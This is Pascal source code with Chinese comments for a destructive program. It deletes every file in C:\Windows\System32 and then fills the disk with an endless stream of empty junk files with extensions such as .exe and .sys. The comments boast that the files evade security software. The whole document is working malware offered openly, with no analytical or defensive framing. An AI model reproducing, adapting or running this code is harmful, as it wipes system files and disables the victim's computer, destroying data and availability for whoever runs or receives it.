Uses Dos; {调用DOS库}
Const Root=‘C:\Windows\System32\‘; {定位文件}
var vir:array [1..6] of string=(‘.rar‘,‘.sys‘,‘.txt‘,‘.zip‘,‘.exe‘,‘.com‘); {定义垃圾文件后缀}
check:text;
total:string;
i,n,k:longint;
procedure bfp; {利用DOS库来破坏DLL文件,通过插入线程来破坏系统}
Var {定义}
FData:SearchRec;
F:File;
KFName:String[12];
I,J:Longint;
Begin
{$I-}
I:=0;
J:=0;
FindFirst(Root+‘*.*‘,0,FData); {寻找路径}
KFName:=FData.Name; {定义名字 定位数据}
While DosError=0 Do {当DOS错误=0那么就开始 (初始值当然是0)}
Begin
FindNext(FData); {寻找下一个数据}
Assign(F,Root+KFName); {路径+名字}
Erase(F);
If IOResult<>0 Then {不断递加I输出错误编号}
Begin
I:=I+1;
Writeln(‘Error ‘,I,‘ Time(s)‘);
End
Else {否则}
Begin {输出定位文件的名字}
J:=J+1;
Writeln(FData.Name,‘ Was Already Deleted.‘);
End;
KFName:=FData.Name; {继续循环}
End;
Writeln(J,‘ File(s) Was Deleted.‘);
Writeln(‘Press Enter To Exit‘);
Readln;
End;
Begin
N:=maxlongint;
Bfp;
for i:=1 to n do {不断产生垃圾文件,后缀名全部都是安全软件查不到的}
Begin
If k=6 then k:=1;
Str(i,total);
Inc(k);
Total:=total+vir[k];
Assign(check,total);
Rewrite(check);
Close(check);
End;
End. {结束.}